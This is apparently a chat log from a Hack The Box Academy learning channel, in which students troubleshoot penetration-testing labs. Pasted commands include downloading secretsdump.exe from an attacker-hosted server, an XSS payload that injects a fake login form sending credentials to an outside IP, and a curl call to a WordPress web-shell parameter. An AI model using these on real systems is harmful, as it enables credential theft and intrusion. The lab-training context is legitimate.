python3 -m http.server 9000

Invoke-WebRequest "http://10.10.15.xxx:9000/home/xxx/tools/impacket-examples-windows/secretsdump.exe" -OutFile "C:\Windows\Temp\secretsdump.exe"

[fathom pendant]

Because you're specifying a full path for no reason

[distant moat]

oh i see

[fathom pendant]

Unless you're (for some ungodly reason) running http.server from /

You just need to specify filename

You're getting an error related to file or path not found probably from your http.server command

[sly dome]

why would not you use smbserver 😭

[distant moat]

how

[sly dome]

learn

[fathom pendant]

There's more than one way to cut an onion

[sly dome]

but the smbserver for this stuff is the best one, you run it you mount it on Windows with net use and you skip all the transfer stuff

you run tools from the shared folder

even cleaner, you don’t leave any junk in the client machine

[umbral fulcrum]

hey guys
on "Windows Privilege Escalation Skills Assessment - Part I"

I got problem with the ||certutil|| command
can someone please help?

[fiery berry]

what is the problem?

[modern island]

Hello everyone, first time poster here. I was just doing "Broken Authentication" module, question 2 from "Brute Forcing Usernames" exercise section. I already got the answer, however I can't help but feel there is a better way to do this, than the one I used. I wanted to ask if you could share with me what approaches you guys took to find the answer and was anyone able to automate the process, ||since every subsequent request uses the username from the previous request to either show a 'valid' or 'wrong' user||?

[umbral fulcrum]

I opened on my VM ||python3 -m ..|| , on the site I did ||certutil -url..|| with the file

on my VM I C it's dowloading but on the site I get a faild massage ...

what am I missing?

[fiery berry]

I'm sorry can you rephrase everything with full commands between spoiler tags if it is necessary?

[umbral fulcrum]

can I DM so I won't make any spoilers for anybody?

[fiery berry]

as you wish

[fathom pendant]

I mean even easier is mounting via whatever rdp method

[analog dock]

#rules

[tidal kelp]

Module : XSS
Session Phising
Im trying to get rid of the URL upload function on the website but without success .
I added the following to the URL:
<script>document.write('<h3>Please login to continue</h3><form action=http://10.10.15.76><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--

But still ends up like this:
Any idea what I'm doing wrong?

[fathom pendant]

<@&861185840277487616> there's a time and place for your content

[spring needle]

speaking of which; where did #general go?

[fathom pendant]

Read #welcome

[spring needle]

ty 🙂

[frozen mesa]

Hacking WordPress --> how to navigate with spaces in the cmd's. I understand how to scroll through the backend but I dont know how to use commands with spaces (tried several options but none worked).
curl -X GET "http://94.237.56.76:30746/wp-content/themes/twentyseventeen/404.php?cmd=**pwd**"

[fathom pendant]

Single quotes, url encoding, cry

[frozen mesa]

url encoding...thanks.

[fathom pendant]

Overlooked the simple things in life eh?

[frozen mesa]

Most of the times...yeah. Will get better over time 🙂

[fathom pendant]

Nah you're good, it's easy to do. "I swear I tried that... guess I didn't"

Especially when you get hit with the:

[onyx wing]

Hello! I am working on the getting started module in the CPTS path. Currently, I'm in the privilege escalation section. I have copied the private key into my machine and used chmod to set the permissions to 600. When I try to ssh in, i get the error message :Load key "id_rsa": error in libcrypto"

[fathom pendant]

Did you copy the -----BEGIN and -----END lines?

[onyx wing]

Yes, they're both there.

[analog dock]

And a newline at the end?

[onyx wing]

Yep. That's the advice I got from Google and I was able to verify that.

[acoustic sparrow]

try wc -l and compare if they are the same amount

[analog dock]

Did you try it from the pwnbox?

[onyx wing]

Yeah, I got a different error there: Load key "id_rsa": invalid format

[acoustic sparrow]

what syntax do you use ?

[onyx wing]

ssh root@94.237.63.238 -p 55504 -i id_rsa

[analog dock]

Ssh service is running on port 55504?

[slender shoal]

some of the modules do that just to show you

its possible.

[analog dock]

Alright

[onyx wing]

Yes, that's the way I had to get into the first user

[analog dock]

Can you show the ssh key

Probably need to verify your acc to send pics, #welcome

[small steppe]

Module: CROSS-SITE SCRIPTING (XSS)
Section: Session Hijacking

Question. Is anyone experiencing issues with the targets not spawning appropriately? I've been having connectivity issues with this module most of this morning. I've reset the target host a few times, gave it time to spawn the resources needed for the module, redownloaded the VPN files, and bounced my attack box. Nada. Connectivity from my attack box works just fine.

I just get a white screen of nothing in my browser with the target IP.

Edit: Issue resolved. No idea what changed.

[frozen mesa]

Hacking wordpress --> skills assesment. Website is not recognized as WP website. I've read several about adding a domain in /etc/hosts but that instruction is not (or I did not see it) in the module.

What todo so WPscan will recognize the website as a WP site? So i can enumerate it.

[fathom pendant]

Adding a domain to /etc/hosts is a basic fundamental skill, which is why it's assumed for you to know

[frozen mesa]

In most modules the notice what to add (not how but at least what domain or vhost)

That is why I am confused

[onyx wing]

Is that a different account than my htb academy account? I tried to log in there and it said I didn't have an account.

[fathom pendant]

Most of the time it can be assumed to be inlanefreight.htb

And usually the questions allude to it

[fathom pendant]

Yes

[frozen mesa]

Ok, thanks.

[analog dock]

Yes, it’s from main platform

[onyx wing]

Here is the key I'm trying to use.

[analog dock]

Can you open in vim or Kate?

[frozen mesa]

Added inlanefreight.local and inlanefreight.htb but still not recognized by WP scan as a WP website. What do i do wrong?

[sly dome]

its not a wordpress site 🙂

[analog dock]

And you’re sure this is for root?

[sly dome]

just do it from inside the machine

[onyx wing]

Yep. Straight from the .ssh folder in root's directory.

[analog dock]

Try what Rafa said

Pretty strange it doesn’t work though

[sly dome]

i think inside the machine its port 22

[analog dock]

I don’t really see anything wrong with the key

[sly dome]

check with netstat